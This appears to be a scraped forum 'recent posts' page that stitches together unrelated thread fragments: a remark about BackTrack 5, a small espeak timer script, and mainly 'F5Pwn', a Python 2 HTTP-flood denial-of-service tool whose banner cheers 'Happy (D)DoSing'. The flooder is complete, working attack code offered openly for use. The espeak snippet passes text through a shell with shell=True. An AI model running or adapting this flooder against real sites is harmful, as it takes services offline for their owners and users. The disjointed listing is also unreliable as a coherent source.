21
eBooks / Re: BT5 cookbook
« Last post by Firo on Yesterday at 08:38:53 am »
Its some crap ubuntu spinoff with a couple packages and a cute wallpaper.
At least Kali isn't built on one of the worst kernels known to man
Dragons are k00l
Its some crap ubuntu spinoff with a couple packages and a cute wallpaper.
import subprocess
import time
import threading
def Talk():
threading.Timer(10,Talk).start()
text = '"hi there "'
subprocess.call('espeak '+text, shell=True )
Not bad. Using urlopen, some threading and a little flashier effects.Thanks.
Also, incrementing by repeating the variable and adding one is redundant. That's why you have the += operator.True, but I wasn't thinking about that when I was programming it
import thread
import urllib2
import sys
import time
def usage():
print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
sys.exit()
def reloader(numthread):
url = sys.argv[1]
numreloads = 0
while True:
try:
urllib2.urlopen(url)
numreloads = numreloads + 1
except KeyboardInterrupt:
sys.exit('\nProcess aborted.')
def splash():
print '''
+-------+
| F5Pwn |
+-------+--------------------+
| ___ ___ ___ 3vilp4wn |
| | __| __| _ \__ __ ___ _ |
| | _||__ \ _/\ V V / ' \ |
| |_| |___/_| \_/\_/|_||_| |
+ ---------------------------+
| Made by 3vilp4wn, based on |
| F5 Rape by vezzy. A |
| simple DoSer maed in |
| python with urllib2. |
+----------------------------+
| Happy (D)DoSing, you skid! |
+----------------------------+
'''
if len(sys.argv) < 3:
usage()
if __name__ == '__main__':
splash()
print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
for reloadspawn in range(0, int(sys.argv[2])):
thread.start_new_thread(reloader, (reloadspawn,))
sys.stdout.write('')
dosind = ['-', '\\', '|', '/']
dosstat = 0
while True:
try:
sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
sys.stdout.flush()
dosstat = dosstat + 1
time.sleep(0.25)
except KeyboardInterrupt:
sys.exit('\nProcess aborted.')